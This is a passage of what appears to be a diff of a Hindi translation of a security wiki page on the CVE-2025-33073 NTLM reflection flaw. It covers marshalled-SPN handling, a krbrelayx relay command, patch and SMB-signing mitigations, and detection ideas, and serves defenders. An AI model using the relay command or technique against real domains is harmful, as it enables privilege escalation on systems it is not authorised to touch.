`cifs/srv11UWhRCAAAAA…` को `lsasrv!LsapCheckMarshalledTargetInfo` को पास करता है, तो `CredUnmarshalTargetInfo` को कॉल करने पर **सीरियलाइज्ड ब्लॉब को हटा दिया जाता है**, जिससे **`cifs/srv1`** बचता है। @@ -342,13 +296,13 @@ krbrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support ``` ### पैच और शमन * **CVE-2025-33073** के लिए KB पैच `mrxsmb.sys::SmbCeCreateSrvCall` में एक जांच जोड़ता है जो किसी भी SMB कनेक्शन को ब्लॉक करता है जिसका लक्ष्य मार्शल की गई जानकारी ( `CredUnmarshalTargetInfo` ≠ `STATUS_INVALID_PARAMETER` ) है। -* बिना पैच किए हुए होस्ट पर भी परावर्तन को रोकने के लिए **SMB साइनिंग** को लागू करें। +* बिना पैच किए हुए होस्ट पर भी प्रतिबिंब को रोकने के लिए **SMB साइनिंग** को लागू करें। * `*...*` के समान DNS रिकॉर्ड की निगरानी करें और मजबूरी वेक्टर (PetitPotam, DFSCoerce, AuthIP...) को ब्लॉक करें। ### पहचान विचार * `NTLMSSP_NEGOTIATE_LOCAL_CALL` के साथ नेटवर्क कैप्चर जहां क्लाइंट IP ≠ सर्वर IP। * Kerberos AP-REQ जिसमें एक सबसत्र कुंजी और एक क्लाइंट प्रिंसिपल हो जो होस्टनेम के बराबर हो। -* Windows इवेंट 4624/4648 SYSTEM लॉगऑन तुरंत उसी होस्ट से दूरस्थ SMB लेखन के बाद। +* Windows इवेंट 4624/4648 SYSTEM लॉगऑन जो तुरंत उसी होस्ट से दूरस्थ SMB लेखन के बाद आते हैं। ## संदर्भ * [Synacktiv – NTLM Reflection is Dead, Long Live NTLM Reflection!](https://www.synacktiv.com/en/publications/la-reflexion-ntlm-est-morte-vive-la-reflexion-ntlm-analyse-approfondie-de-la-cve-2025.html)